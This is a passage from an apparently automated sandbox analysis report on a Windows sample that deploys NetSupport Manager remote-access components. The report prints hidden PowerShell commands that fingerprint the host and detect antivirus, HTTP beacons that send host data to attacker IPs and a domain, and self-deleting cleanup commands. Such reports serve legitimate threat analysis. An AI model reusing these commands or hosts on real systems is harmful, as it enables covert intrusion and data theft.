"00000000-00000760.00000002.94470.714A0000.00000004.mdmp") Found string "dsfreepasswordcredentials" (Indicator: "password"; Source: "00000000-00000760.00000002.94470.714A0000.00000004.mdmp")74:T4c5,Found string "received unexpected shutdown ping" (Indicator: "ping"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found string "invalid ping frame" (Indicator: "ping"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found string "ping" (Indicator: "ping"; Source: "00000000-00000760.00000002.94470.713F0000.00000004.mdmp") Found string "Variable to hold all default pairse used instead of the HostName parameter in the Send-MailMessage cmd" (Indicator: "hostname"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet.ater than $ConfirmPreference. If $ConfirmPreference is None, actions will only be confirmed when Confirm is specified." (Indicator: "hostname"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet." (Indicator: "hostname"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp")75:T20e3,file/memory contains long string with (Indicator: " Win32_DiskDrive"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") file/memory contains long string with (Indicator: " Win32_NetworkAdapte"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") file/memory contains long string with (Indicator: " Win32_NetworkAdapter"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") file/memory contains long string with (Indicator: " Win32_NetworkAdapterConfiguration"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") file/memory contains long string with (Indicator: "antivirusproduct"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") file/memory contains long string with (Indicator: " Win32_OperatingSystem"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found string "$d=(Get-CimInstance Win32_DiskDrive | Select -First 1).SerialNumber; $m=(Get-CimInstance Win32_NetworkAdapterConfiguration | Where {$_.MACAddress} | Select -First 1).MACAddress; $h=$env:COMPUTERNAME; "$d|$m|$h"" (Indicator: " Win32_DiskDrive"; File: "AMSI") Found string "$d=(Get-CimInstance Win32_DiskDrive | Select -First 1).SerialNumber; $m=(Get-CimInstance Win32_NetworkAdapterConfiguration | Where {$_.MACAddress} | Select -First 1).MACAddress; $h=$env:COMPUTERNAME; "$d|$m|$h"" (Indicator: " Win32_NetworkAdapte"; File: "AMSI") Found string "$d=(Get-CimInstance Win32_DiskDrive | Select -First 1).SerialNumber; $m=(Get-CimInstance Win32_NetworkAdapterConfiguration | Where {$_.MACAddress} | Select -First 1).MACAddress; $h=$env:COMPUTERNAME; "$d|$m|$h"" (Indicator: " Win32_NetworkAdapter"; File: "AMSI") Found string "$d=(Get-CimInstance Win32_DiskDrive | Select -First 1).SerialNumber; $m=(Get-CimInstance Win32_NetworkAdapterConfiguration | Where {$_.MACAddress} | Select -First 1).MACAddress; $h=$env:COMPUTERNAME; "$d|$m|$h"" (Indicator: " Win32_NetworkAdapterConfiguration"; File: "AMSI") file/memory contains long string with (Indicator: "antivirusproduct"; File: "AMSI") file/memory contains long string with (Indicator: " Win32_DiskDrive"; File: "AMSI") file/memory contains long string with (Indicator: " Win32_NetworkAdapte"; File: "AMSI") file/memory contains long string with (Indicator: " Win32_NetworkAdapter"; File: "AMSI") file/memory contains long string with (Indicator: " Win32_NetworkAdapterConfiguration"; File: "AMSI") file/memory contains long string with (Indicator: " Win32_OperatingSystem"; File: "AMSI") file/memory contains long string with (Indicator: " Win32_DiskDrive"; File: "powershell.exe") file/memory contains long string with (Indicator: " Win32_NetworkAdapte"; File: "powershell.exe") file/memory contains long string with (Indicator: " Win32_NetworkAdapter"; File: "powershell.exe") file/memory contains long string with (Indicator: " Win32_NetworkAdapterConfiguration"; File: "powershell.exe") file/memory contains long string with (Indicator: "antivirusproduct"; File: "powershell.exe") file/memory contains long string with (Indicator: " Win32_OperatingSystem"; File: "powershell.exe") file/memory contains long string with (Indicator: " Win32_DiskDrive"; Source: "00000000-00003964.00000000.88610.B8100000.00000004.mdmp, 00000000-00003964.00000001.88837.B8100000.00000004.mdmp") file/memory contains long string with (Indicator: " Win32_NetworkAdapte"; Source: "00000000-00003964.00000000.88610.B8100000.00000004.mdmp, 00000000-00003964.00000001.88837.B8100000.00000004.mdmp") file/memory contains long string with (Indicator: " Win32_NetworkAdapter"; Source: "00000000-00003964.00000000.88610.B8100000.00000004.mdmp, 00000000-00003964.00000001.88837.B8100000.00000004.mdmp") file/memory contains long string with (Indicator: " Win32_NetworkAdapterConfiguration"; Source: "00000000-00003964.00000000.88610.B8100000.00000004.mdmp, 00000000-00003964.00000001.88837.B8100000.00000004.mdmp") Found string "$d=(Get-CimInstance Win32_DiskDrive | Select -First 1).SerialNumber; $m=(Get-CimInstance Win32_NetworkAdapterConfiguration | Where {$_.MACAddress} | Select -First 1).MACAddress; $h=$env:COMPUTERNAME; "$d|$m|$h"" (Indicator: " Win32_DiskDrive"; Source: "00000000-00003964.00000000.88610.B8100000.00000004.mdmp, 00000000-00003964.00000000.88610.B8390000.00000004.mdmp, 00000000-00003964.00000000.88610.B9C10000.00000004.mdmp, 00000000-00003964.00000000.88610.BA340000.00000004.mdmp, 00000000-00003964.00000000.88610.D2560000.00000004.mdmp, 00000000-00003964.00000001.88837.B8100000.00000004.mdmp, 00000000-00003964.00000001.88837.B8390000.00000004.mdmp, 00000000-00003964.00000001.88837.D2581000.00000004.mdmp, 00000000-00003964.00000001.88837.D282C000.00000004.mdmp") Found string "$d=(Get-CimInstance Win32_DiskDrive | Select -First 1).SerialNumber; $m=(Get-CimInstance Win32_NetworkAdapterConfiguration | Where {$_.MACAddress} | Select -First 1).MACAddress; $h=$env:COMPUTERNAME; "$d|$m|$h"" (Indicator: " Win32_NetworkAdapte"; Source: "00000000-00003964.00000000.88610.B8100000.00000004.mdmp, 00000000-00003964.00000000.88610.B8390000.00000004.mdmp, 00000000-00003964.00000000.88610.B9C10000.00000004.mdmp, 00000000-00003964.00000000.88610.BA340000.00000004.mdmp, 00000000-00003964.00000000.88610.D2560000.00000004.mdmp, 00000000-00003964.00000001.88837.B8100000.00000004.mdmp, 00000000-00003964.00000001.88837.B8390000.00000004.mdmp, 00000000-00003964.00000001.88837.D2581000.00000004.mdmp, 00000000-00003964.00000001.88837.D282C000.00000004.mdmp") Found string "$d=(Get-CimInstance Win32_DiskDrive | Select -First 1).SerialNumber; $m=(Get-CimInstance Win32_NetworkAdapterConfiguration | Where {$_.MACAddress} | Select -First 1).MACAddress; $h=$env:COMPUTERNAME; "$d|$m|$h"" (Indicator: " Win32_NetworkAdapter"; Source: "00000000-00003964.00000000.88610.B8100000.00000004.mdmp, 00000000-00003964.00000000.88610.B8390000.00000004.mdmp, 00000000-00003964.00000000.88610.B9C10000.00000004.mdmp, 00000000-00003964.00000000.88610.BA340000.00000004.mdmp, 00000000-00003964.00000000.88610.D2560000.00000004.mdmp, 00000000-00003964.00000001.88837.B8100000.00000004.mdmp, 00000000-00003964.00000001.88837.B8390000.00000004.mdmp, 00000000-00003964.00000001.88837.D2581000.00000004.mdmp, 00000000-00003964.00000001.88837.D282C000.00000004.mdmp") Found string "$d=(Get-CimInstance Win32_DiskDrive | Select -First 1).SerialNumber; $m=(Get-CimInstance Win32_NetworkAdapterConfiguration | Where {$_.MACAddress} | Select -First 1).MACAddress; $h=$env:COMPUTERNAME; "$d|$m|$h"" (Indicator: " Win32_NetworkAdapterConfiguration"; Source: "00000000-00003964.00000000.88610.B8100000.00000004.mdmp, 00000000-00003964.00000000.88610.B8390000.00000004.mdmp, 00000000-00003964.00000000.88610.B9C10000.00000004.mdmp, 00000000-00003964.00000000.88610.BA340000.00000004.mdmp, 00000000-00003964.00000000.88610.D2560000.00000004.mdmp, 00000000-00003964.00000001.88837.B8100000.00000004.mdmp, 00000000-00003964.00000001.88837.B8390000.00000004.mdmp, 00000000-00003964.00000001.88837.D2581000.00000004.mdmp, 00000000-00003964.00000001.88837.D282C000.00000004.mdmp") Found string "nce Win32_DiskDrive | Select -First 1).SerialNumber; $m=(Get-CimInstance Win32_NetworkAdapterConfiguration | Where {$_.MACAddress} | Select -First 1).MACAddress; $h=$env:COMPUTERNAME; "$d|$m|$h"" (Indicator: " Win32_DiskDrive"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "nce Win32_DiskDrive | Select -First 1).SerialNumber; $m=(Get-CimInstance Win32_NetworkAdapterConfiguration | Where {$_.MACAddress} | Select -First 1).MACAddress; $h=$env:COMPUTERNAME; "$d|$m|$h"" (Indicator: " Win32_NetworkAdapte"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "nce Win32_DiskDrive | Select -First 1).SerialNumber; $m=(Get-CimInstance Win32_NetworkAdapterConfiguration | Where {$_.MACAddress} | Select -First 1).MACAddress; $h=$env:COMPUTERNAME; "$d|$m|$h"" (Indicator: " Win32_NetworkAdapter"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "nce Win32_DiskDrive | Select -First 1).SerialNumber; $m=(Get-CimInstance Win32_NetworkAdapterConfiguration | Where {$_.MACAddress} | Select -First 1).MACAddress; $h=$env:COMPUTERNAME; "$d|$m|$h"" (Indicator: " Win32_NetworkAdapterConfiguration"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp")76:T77f,Process "powershell.exe" with commandline "-NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$d=(Get-CimInstance Win32_DiskDrive | Select -First 1).SerialNumber; $m=(Get-CimInstance Win32_NetworkAdapterConfiguration | Where {$_.MACAddress} | Select -First 1).MACAddress; $h=$env:COMPUTERNAME; \\"$d|$m|$h\\""" (UID: 00000000-00003964) Process "powershell.exe" with commandline "-NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ErrorActionPreference = 'SilentlyContinue'try { $av = ((Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct -EA SilentlyContinue | Select -ExpandProperty displayName) -join ', ') } catch { $av = 'unknown' }if ([string]::IsNullOrEmpty($av)) { $av = 'unknown' }try { Add-Type -AssemblyName System.Windows.Forms -EA SilentlyContinue; $s = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $screen = \\"$($s.Width)x$($s.Height)\\" } catch { $screen = 'unknown' }try { $locale = (Get-Culture).LCID.ToString('X4') } catch { $locale = 'unknown' }try { $tz = (Get-TimeZone).DisplayName } catch { $tz = 'unknown' }try { $reboot = (Get-CimInstance Win32_OperatingSystem -EA SilentlyContinue).LastBootUpTime.ToString('yyyy-MM-dd HH:mm:ss') } catch { $reboot = 'unknown' }try { $d = (Get-CimInstance Win32_DiskDrive -EA SilentlyContinue | Select -First 1).SerialNumber $m = (Get-CimInstance Win32_NetworkAdapterConfiguration -EA SilentlyContinue | Where {$_.MACAddress} | Select -First 1).MACAddress $hwid = \\"$d|$m|$env:COMPUTERNAME\\"} catch { $hwid = 'unknown' }try { $admin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) } catch { $admin = 'False' }\\"AV=$av\\"\\"SCREEN=$screen\\"\\"LOCALE=$locale\\"\\"TZ=$tz\\"\\"REBOOT=$reboot\\"\\"HWID=$hwid\\"\\"ADMIN=$admin\\""" (UID: 00000000-00007612)77:T610,Process "powershell.exe" with commandline "-NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ErrorActionPreference = 'SilentlyContinue'try { $av = ((Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct -EA SilentlyContinue | Select -ExpandProperty displayName) -join ', ') } catch { $av = 'unknown' }if ([string]::IsNullOrEmpty($av)) { $av = 'unknown' }try { Add-Type -AssemblyName System.Windows.Forms -EA SilentlyContinue; $s = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $screen = \\"$($s.Width)x$($s.Height)\\" } catch { $screen = 'unknown' }try { $locale = (Get-Culture).LCID.ToString('X4') } catch { $locale = 'unknown' }try { $tz = (Get-TimeZone).DisplayName } catch { $tz = 'unknown' }try { $reboot = (Get-CimInstance Win32_OperatingSystem -EA SilentlyContinue).LastBootUpTime.ToString('yyyy-MM-dd HH:mm:ss') } catch { $reboot = 'unknown' }try { $d = (Get-CimInstance Win32_DiskDrive -EA SilentlyContinue | Select -First 1).SerialNumber $m = (Get-CimInstance Win32_NetworkAdapterConfiguration -EA SilentlyContinue | Where {$_.MACAddress} | Select -First 1).MACAddress $hwid = \\"$d|$m|$env:COMPUTERNAME\\"} catch { $hwid = 'unknown' }try { $admin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) } catch { $admin = 'False' }\\"AV=$av\\"\\"SCREEN=$screen\\"\\"LOCALE=$locale\\"\\"TZ=$tz\\"\\"REBOOT=$reboot\\"\\"HWID=$hwid\\"\\"ADMIN=$admin\\""" (UID: 00000000-00007612)78:T437,Found string "\Device\Afd\Mio" (Indicator: "\Device\"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00000760.00000000.90630.05EE0000.00000004.mdmp, 00000000-00000760.00000001.92551.05EE0000.00000004.mdmp, 00000000-00000760.00000002.94470.05EE0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00000760.00000001.92551.203A0000.00000004.mdmp, 00000000-00000760.00000002.94470.203A0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00003964.00000000.88610.B8100000.00000004.mdmp, 00000000-00003964.00000001.88837.B8100000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00003964.00000000.88610.D2560000.00000004.mdmp, 00000000-00003964.00000001.88837.D2560000.00000004.mdmp")79:Tfdc,Found reference to API "ImpersonateLoggedOnUser" (Indicator: "ImpersonateLoggedOnUser"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "RevertToSelf" (Indicator: "RevertToSelf"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetSecurityDescriptorSacl" (Indicator: "GetSecurityDescriptorSacl"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "SetTokenInformation" (Indicator: "SetTokenInformation"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "AddAccessAllowedAce" (Indicator: "AddAccessAllowedAce"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "CopySid" (Indicator: "CopySid"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetAclInformation" (Indicator: "GetAclInformation"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthority"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthorityCount"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "SetSecurityDescriptorSacl" (Indicator: "SetSecurityDescriptorSacl"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "AllocateLocallyUniqueId" (Indicator: "AllocateLocallyUniqueId"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "EqualSid" (Indicator: "EqualSid"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetAce" (Indicator: "GetAce"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "IsValidSid" (Indicator: "IsValidSid"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetSidSubAuthority" (Indicator: "GetSidSubAuthority"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "AddAce" (Indicator: "AddAce"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetSecurityDescriptorDacl" (Indicator: "GetSecurityDescriptorDacl"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetSidIdentifierAuthority" (Indicator: "GetSidIdentifierAuthority"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin")7a:T7ce," "CMD=POLLINFO=1ACK=1" HTTP/1.1 200 OK\n Server: NetSupport Gateway/1.92 (Windows NT) Content-Type: application/x-www-form-urlencoded Content-Length: 40 Connection: Keep-Alive with response body ==>434D443D494E464F5F5245504C590A53563D312E39320A50563D312E310A45533D300A55563D310A....... "POST http://23.227.203.103/fakeurl.htm HTTP/1.1 User-Agent: NetSupport Manager/1.3 Content-Type: application/x-www-form-urlencoded Content-Length: 224 Host: 23.227.203.103 Connection: Keep-Alive" with payload::==> "CMD=OPENCLIENT_VERSION=1.0PROTOCOL_VER=1.1MAXPACKET=928CLIENT_NAME=DESKTOP-FVVF82ACLIENT_ADDR=>192.168.0.2PORT=5406HOSTNAME=DESKTOP-FVVF82AMACADDRESS=8ACE95F82628GSK=(hBwdkx)PcqvChtT6czQrwAACMPI=60APPTYPE=0DEPT=" HTTP/1.1 200 OK\n Server: NetSupport Gateway/1.92 (Windows NT) Content-Type: application/x-www-form-urlencoded Content-Length: 125 Connection: Keep-Alive with response body ==>434D443D4F50454E5F5245504C590A5345525645525F56455253494F4E3D312E39320A4D41585041434B45543D3932380A434D50493D36300A524553554C543D....... "POST / HTTP/1.1 Host: gor.cardiffphysio.com Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Content-Type: multipart/form-data; boundary=----p74ZNBj3NdPTqbDHBB09 Cache-Control: no-cache Content-Length: 254" with payload::==> "------p74ZNBj3NdPTqbDHBB09Content-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------p74ZNBj3NdPTqbDHBB09Content-Disposition: form-data; name="build_id"aa25d04c4a971b5551da93654869827b------p74ZNBj3NdPTqbDHBB09--" HTTP/1.1 200 OK Date: Mon 23 Feb 2026 21:26:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=CL1vDmQRHmWtjept105X22%2B9bhWsSl9aEKe5nxwmi6lN9mSq1yT7%2F%2B2bQALHps6X4Q2rgrH1uMLc0TtoNasNTxygq1%2BVXf4QMlTV0dux6xwnkyDPwQ%3D%3D"}]} CF-RAY: 9d29ccf53f7c909c-SJC alt-svc: h3=":443"; ma=86400 with response body ==>626C6F636B....... "POST http://141.195.117.128/fakeurl.htm HTTP/1.1 User-Agent: NetSupport Manager/1.3 Content-Type: application/x-www-form-urlencoded Content-Length: 22 Host: 141.195.117.128 Connection: Keep-Alive" with payload::==> "CMD=POLLINFO=1ACK=1" HTTP/1.1 200 OK\n Server: NetSupport Gateway/1.92 (Windows NT) Content-Type: application/x-www-form-urlencoded Content-Length: 40 Connection: Keep-Alive with response body ==>434D443D494E464F5F5245504C590A53563D312E39320A50563D312E310A45533D300A55563D310A....... "POST http://141.195.117.128/fakeurl.htm HTTP/1.1 User-Agent: NetSupport Manager/1.3 Content-Type: application/x-www-form-urlencoded Content-Length: 224 Host: 141.195.117.128 Connection: Keep-Alive" with payload::==> "CMD=OPENCLIENT_VERSION=1.0PROTOCOL_VER=1.1MAXPACKET=928CLIENT_NAME=DESKTOP-FVVF82ACLIENT_ADDR=>192.168.0.2PORT=5406HOSTNAME=DESKTOP-FVVF82AMACADDRESS=8ACE95F82628GSK=(hBwdkx)PcqvChtT6czQrwAACMPI=60APPTYPE=0DEPT=" HTTP/1.1 200 OK\n Server: NetSupport Gateway/1.92 (Windows NT) Content-Type: application/x-www-form-urlencoded Content-Length: 125 Connection: Keep-Alive with response body ==>434D443D4F50454E5F5245504C590A5345525645525F56455253494F4E3D312E39320A4D41585041434B45543D3932380A434D50493D36300A524553554C543D.......81:T950,"agent.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 9 sections"- Location: [%TEMP%\universal-deployer\20260223_212841\agent.exe]- [targetUID: 00000000-00008156] "htctl32.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%TEMP%\universal-deployer\20260223_212841\archive\htctl32.dll]- [targetUID: 00000000-00008156] "Volumeid.exe" has type "PE32 executable for MS Windows 5.01 (console) Intel i386 5 sections"- Location: [%TEMP%\universal-deployer\20260223_212841\archive\Volumeid.exe]- [targetUID: 00000000-00008156] "Desktops.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\universal-deployer\20260223_212841\archive\Desktops.exe]- [targetUID: 00000000-00008156] "Volumeid64.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- Location: [%TEMP%\universal-deployer\20260223_212841\archive\Volumeid64.exe]- [targetUID: 00000000-00008156] "client32.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections"- Location: [%TEMP%\universal-deployer\20260223_212841\archive\client32.exe]- [targetUID: 00000000-00008156] "vcruntime140.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 6 sections"- Location: [%TEMP%\universal-deployer\20260223_212841\archive\vcruntime140.dll]- [targetUID: 00000000-00008156] "remcmdstub.exe" has type "PE32 executable for MS Windows 5.01 (console) Intel i386 5 sections"- Location: [%TEMP%\universal-deployer\20260223_212841\archive\remcmdstub.exe]- [targetUID: 00000000-00008156] "pcicapi.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%TEMP%\universal-deployer\20260223_212841\archive\pcicapi.dll]- [targetUID: 00000000-00008156] "PCICL32.DLL" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 7 sections"- Location: [%TEMP%\universal-deployer\20260223_212841\archive\PCICL32.DLL]- [targetUID: 00000000-00008156] "TCCTL32.DLL" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%TEMP%\universal-deployer\20260223_212841\archive\TCCTL32.DLL]- [targetUID: 00000000-00008156] "PCICHEK.DLL" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%TEMP%\universal-deployer\20260223_212841\archive\PCICHEK.DLL]- [targetUID: 00000000-00008156]82:Tbed," "CMD=POLLINFO=1ACK=1" "POST / HTTP/1.1 Host: gor.cardiffphysio.com Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Content-Type: multipart/form-data; boundary=----p74ZNBj3NdPTqbDHBB09 Cache-Control: no-cache Content-Length: 254" with payload:==> "------p74ZNBj3NdPTqbDHBB09Content-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------p74ZNBj3NdPTqbDHBB09Content-Disposition: form-data; name="build_id"aa25d04c4a971b5551da93654869827b------p74ZNBj3NdPTqbDHBB09--" "POST http://141.195.117.128/fakeurl.htm HTTP/1.1 User-Agent: NetSupport Manager/1.3 Content-Type: application/x-www-form-urlencoded Content-Length: 22 Host: 141.195.117.128 Connection: Keep-Alive" with payload:==> "CMD=POLLINFO=1ACK=1"87:T98c,Process "powershell.exe" with commandline "-NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$d=(Get-CimInstance Win32_DiskDrive | Select -First 1).SerialNumber; $m=(Get-CimInstance Win32_NetworkAdapterConfiguration | Where {$_.MACAddress} | Select -First 1).MACAddress; $h=$env:COMPUTERNAME; \\"$d|$m|$h\\""" (UID: 00000000-00003964) Process "powershell.exe" with commandline "-NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ErrorActionPreference = 'SilentlyContinue'try { $av = ((Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct -EA SilentlyContinue | Select -ExpandProperty displayName) -join ', ') } catch { $av = 'unknown' }if ([string]::IsNullOrEmpty($av)) { $av = 'unknown' }try { Add-Type -AssemblyName System.Windows.Forms -EA SilentlyContinue; $s = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $screen = \\"$($s.Width)x$($s.Height)\\" } catch { $screen = 'unknown' }try { $locale = (Get-Culture).LCID.ToString('X4') } catch { $locale = 'unknown' }try { $tz = (Get-TimeZone).DisplayName } catch { $tz = 'unknown' }try { $reboot = (Get-CimInstance Win32_OperatingSystem -EA SilentlyContinue).LastBootUpTime.ToString('yyyy-MM-dd HH:mm:ss') } catch { $reboot = 'unknown' }try { $d = (Get-CimInstance Win32_DiskDrive -EA SilentlyContinue | Select -First 1).SerialNumber $m = (Get-CimInstance Win32_NetworkAdapterConfiguration -EA SilentlyContinue | Where {$_.MACAddress} | Select -First 1).MACAddress $hwid = \\"$d|$m|$env:COMPUTERNAME\\"} catch { $hwid = 'unknown' }try { $admin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) } catch { $admin = 'False' }\\"AV=$av\\"\\"SCREEN=$screen\\"\\"LOCALE=$locale\\"\\"TZ=$tz\\"\\"REBOOT=$reboot\\"\\"HWID=$hwid\\"\\"ADMIN=$admin\\""" (UID: 00000000-00007612) Process "powershell.exe" with commandline "-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Sleep -Seconds 7200;Remove-Item -Force -LiteralPath '%TEMP%\\universal-deployer\\20260223_212841\\agent.exe'"" (UID: 00000000-00000760) Process "powershell.exe" with commandline "-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Sleep -Seconds 7200; Remove-Item -Force -LiteralPath 'C:\\8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin.exe'"" (UID: 00000000-00006848)88:Te09,Spawned process "\" (Source: \"00000000-00003964.00000000.88610.BA340000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1021","relevance":1,"id":"string-940","sources":[{"report_type":"sandbox","report_id":"699cc5932158c4cfcf05c159"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to receive remote commands (Powershell command string)","description":"Found string \"Enable-PSRemoting\" (Indicator: \"Enable-PSRemoting\"; Source: \"00000000-00003964.00000000.88610.BA340000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-289","sources":[{"report_type":"sandbox","report_id":"699cc5932158c4cfcf05c159"}]},{"level":"informative","category":"Remote Access Related","name":"Contains reference to remote powershell session activity (Powershell command string)","description":"$67","origin":"File/Memory","mitre_attack_id":"T1021.006","relevance":1,"id":"string-154","sources":[{"report_type":"sandbox","report_id":"699cc5932158c4cfcf05c159"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string 